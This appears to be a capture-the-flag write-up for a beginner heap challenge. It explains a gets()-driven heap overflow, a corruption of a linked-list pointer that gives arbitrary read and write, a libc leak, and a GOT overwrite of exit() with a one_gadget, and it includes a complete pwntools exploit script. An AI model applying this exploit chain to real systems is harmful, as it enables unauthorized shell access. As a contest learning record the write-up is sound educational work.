Pre-survey
Using libc-2.33
Source code provided thx!
Welcome to memo organizer
1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
[debug] new memo allocated at 0x234e2a0
Content: asdfasdfasdfasdfadfasdfasdfasfdasdfasfdasfdasdfasdfasdadsfsd
first entry created at 0x234e2a0
1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
malloc(): corrupted top size
Aborted
heap overflow exists
#define CONTENT_SIZE 0x20
typedef struct memo {
struct memo *next;
char content[CONTENT_SIZE];
} Memo;
printf("Content: ");
gets(e->content);
e->next = NULL;
list_add(e);
size 0x20 but getting data with gets
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
No RELRO -> GOT overwrite
Exploit
OK here comes my idea.
allocate two memo -> edit the first one ( index 0 ) -> overwrite next of the second memo ( index 1 ) -> edit memo at index 2 -> arbitrary write / arbitrary read
get libc_base -> rewrite exit with one gadget
Modifying Next
will result same as making new memo at the modified Next
address.
We can use Show
and Edit
to that memory.
Test
Welcome to memo organizer
1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
[debug] new memo allocated at 0x4042a0
Content: AASAAA
first entry created at 0x4042a0
1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 1
[debug] new memo allocated at 0x4042d0
Content: AAAAA
adding entry to 0x4042a0->next
1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 2
index: 0
[debug] editing memo at 0x4042a0
Old content: AASAAA
New content: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1. Create new memo
1. Edit existing memo
1. Show memo
1. Exit
> 2
index: 2
[debug] editing memo at 0x414141
Old content:
New content:
Alright we can write at 0x414141 as I expected
which means we got arbitrary write.
Find one gadget available
I want to overwrite exit()
with one_gadget.
So we need to check if there’s an available one_gadget
Let’s check the register status right before exit()
is called
RAX 0x5
RBX 0x4016a0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7eda077 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
RDI 0x0
RSI 0x7ffff7fb9723 (_IO_2_1_stdout_+131) ◂— 0xfba7e0000000000a /* '\n' */
R8 0x5
R9 0x0
R10 0x400546 ◂— 0x7475700074697865 /* 'exit' */
R11 0x7ffff7e12a40 (exit) ◂— endbr64
R12 0x401100 (_start) ◂— endbr64
R13 0x7fffffffe2a0 ◂— 0x1
R14 0x0
R15 0x0
and this is the gadget available for the exit()
0xde78f execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
Getting libc leak
Considered easy but there was a trap.
You can easily read memory by over writing the next pointer address.
However, when you choose “Show memo” the next pointer should end with (nil)
.
Otherwise, it will continue to read the corrupted memory and you will face segmentation fault
I tried to get libc address from got but it failed since position for the Next
wasn’t (nil).
Searching around elfheader area for the libc address, I was able to find __libc_start_main
at the beginning of .got
Which was null
before its address
pwndbg> elfheader
0x4002e0 - 0x4002fc .interp
0x400300 - 0x400320 .note.gnu.property
0x400320 - 0x400344 .note.gnu.build-id
0x400344 - 0x400364 .note.ABI-tag
0x400368 - 0x400390 .gnu.hash
0x400390 - 0x400540 .dynsym
0x400540 - 0x4005f3 .dynstr
0x4005f4 - 0x400618 .gnu.version
0x400618 - 0x400648 .gnu.version_r
0x400648 - 0x4006a8 .rela.dyn
0x4006a8 - 0x4007e0 .rela.plt
0x401000 - 0x40101b .init
0x401020 - 0x401100 .plt
0x401100 - 0x401715 .text
0x401718 - 0x401725 .fini
0x402000 - 0x4021e4 .rodata
0x4021e4 - 0x402260 .eh_frame_hdr
0x402260 - 0x402448 .eh_frame
0x403448 - 0x403458 .init_array
0x403458 - 0x403460 .fini_array
0x403460 - 0x403630 .dynamic
0x403630 - 0x403640 .got <<<<<<<<<<<<<<<<<<<<<<
0x403640 - 0x4036c0 .got.plt
0x4036c0 - 0x4036d0 .data
0x4036d0 - 0x4036f8 .bss
pwndbg> x/gx 0x403630
0x403630: 0x00007ffff7deff90
pwndbg> x/i 0x00007ffff7deff90
0x7ffff7deff90 <__libc_start_main>: endbr64
pwndbg>
OK let’s be real. I didn’t point out this specific address.
Here’s my real process
First, vmmap to check the address range of libc.
Check the wide area and find address inside libc and it’s -8 byte is nil than here it is.
Anyway, I got address of __libc_start_main
Overwrite with one_gadget
Edit the first memo again and overflow the Next
of the second to point the got area of the exit
Then use edit
Get the shell
when we enter 4 at the menu (exit) shell comes
Exploit code
from pwn import *
def write(data):
pc.sendlineafter(b"> ",b"1")
pc.sendlineafter(b": ",data)
def edit(idx, data):
pc.sendlineafter(b"> ", b"2")
pc.sendlineafter(b": " , str(idx))
pc.sendlineafter(b": ",data)
def exit_process():
pc.sendlineafter(b"> ", b"4")
def show():
pc.sendlineafter(b"> ", b"3")
pc = process("./chall")
pc = connect("simplelist.quals.beginners.seccon.jp",9003)
e = ELF("./chall")
log.info("EXIT : "+hex(e.got['exit']))
# log.info("PUTS : "+hex(e.got['puts']))
payload_getLibc = b"A"*40+p64(0x403630-0x8)
payload_exitOW = b"A"*40+p64(e.got['exit']-0x8)
# Make two dummy memo
write("dummy")
write("dummy")
# overflow the first memo, which modifies Next of the second memo and
# result in making third memo on the modified address
edit(0,payload_getLibc)
# read the memo and get the libc address from the third
show()
print(pc.recvuntil(b"content(0x403630) "))
libc_leak = pc.recvuntil(b"\n")[:-1]+b"\00"*2 #__libc_start_main
libc_leak = u64(libc_leak)
log.info(hex(libc_leak))
libc_base = libc_leak - 0x28490
one_gadget = libc_base + 0xde78f
# overflow first memo and make third memo at exit got
edit(0,payload_exitOW)
# make it one gadget
edit(2,p64(one_gadget))
#go!
exit_process()
pc.interactive()
The text debug info in the file just saved me a lot of time.
I don’t have to use much of my gdb to track the heap.
Well actually not the heap quiz, since next is provided separately.
But actual heap moves similiar and I think is the good warm up for the heap.
그리고 같은 대회의 망할 원숭이 머시기 힙 문제에서 시간 다 날리고 폭망